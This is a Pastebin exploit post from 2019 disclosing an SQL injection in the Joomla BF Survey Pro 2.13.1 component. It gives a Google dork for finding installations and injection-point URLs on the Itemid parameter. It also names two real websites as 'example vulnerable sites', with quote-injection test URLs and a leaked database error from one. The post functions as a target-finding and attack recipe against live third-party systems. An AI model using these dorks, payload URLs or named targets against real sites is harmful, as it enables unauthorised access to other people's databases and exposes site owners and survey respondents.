KingSkrupellos

Joomla BF Survey Pro Components 2.13.1 SQL Injection

Feb 3rd, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.85 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla BF Survey Pro Components 2.13.1 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 04/02/2019
  7. # Vendor Homepage : tamlynsoftware.com
  8. # Software Download Link : tamlynsoftware.com/joomla-surveys.html
  9. # Software Information Link : extensions.joomla.org/extension/bf-survey/
  10. # Software Version : 2.13.1
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : Medium
  14. # Google Dorks : inurl:''/index.php?option=com_bfsurvey_pro''
  15. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  16. Special Elements used in an SQL Command ('SQL Injection') ]
  17. # Old Similar CVE [ Only Version is Different ] : CVE-2010-2255
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21.  
  22. ####################################################################
  23.  
  24. # Description about Software :
  25. ***************************
  26.  
  27. This Joomla Survey Extension will allow you to create professional looking surveys in
  28.  
  29. your own Joomla environment. Unlike some online survey solutions, with
  30.  
  31. BF Survey you retain full control over your data, and can customise
  32.  
  33. to suit whatever your needs are. It can be as simple as creating a survey
  34.  
  35. category, adding quesitons, then add your menu item. Or if you have more
  36.  
  37. complex needs, you can use this software to do some really fancy stuff
  38.  
  39. such as showing or hiding questions based on previous question responses.
  40.  
  41. ####################################################################
  42.  
  43. # Impact :
  44. ***********
  45.  
  46. Joomla BF Survey Pro 2.13.1 component for Joomla is prone to an SQL-injection
  47.  
  48. vulnerability because it fails to sufficiently sanitize user-supplied
  49.  
  50. data before using it in an SQL query.
  51.  
  52. Exploiting this issue could allow an attacker to compromise the application,
  53.  
  54. access or modify data, or exploit latent vulnerabilities in the underlying database.
  55.  
  56. A remote attacker can send a specially crafted request to the vulnerable application
  57.  
  58. and execute arbitrary SQL commands in application`s database.
  59.  
  60. This vulnerability could potentially allow remote attackers to execute arbitrary
  61.  
  62. SQL commands, and manipulate database contents to gain administration
  63.  
  64. access to the vulnerable application.
  65.  
  66. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  67.  
  68. An attacker can exploit this issue using a browser.
  69.  
  70. ####################################################################
  71.  
  72. # SQL Injection Exploit :
  73. **********************
  74.  
  75. /index.php?lang=es&option=com_bfsurvey_pro&Itemid=[SQL Injection]
  76.  
  77. /index.php?option=com_bfsurvey_pro&view=sayg&catid=[ID-NUMBER]&Itemid=[SQL Injection]
  78.  
  79. ####################################################################
  80.  
  81. # Example Vulnerable Sites :
  82. *************************
  83.  
  84. [+] bpmc2.com/index.php?lang=es&option=com_bfsurvey_pro&Itemid=1%27
  85.  
  86. [+] farmkom.rs/index.php?option=com_bfsurvey_pro&view=sayg&catid=0&Itemid=221%27
  87.  
  88. ####################################################################
  89.  
  90. # Example SQL Database Error :
  91. ****************************
  92.  
  93. Error: You must select a category in menu parameters!No valid database
  94. connection Table 'u0pukhhx_jpack.jos_bfsurveypro_0' doesn't
  95. exist SQL=SELECT count(ip) from jos_bfsurveypro_0
  96. You have an error in your SQL syntax; check the manual that corresponds
  97. to your MariaDB server version for the right syntax to use near '' at line 1
  98. SQL=UPDATE jos_bfsurveypro_0 SET `uid`="0" where `id`=
  99.  
  100. ####################################################################
  101.  
  102. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  103.  
  104. ####################################################################
Add Comment
Please, Sign In to add comment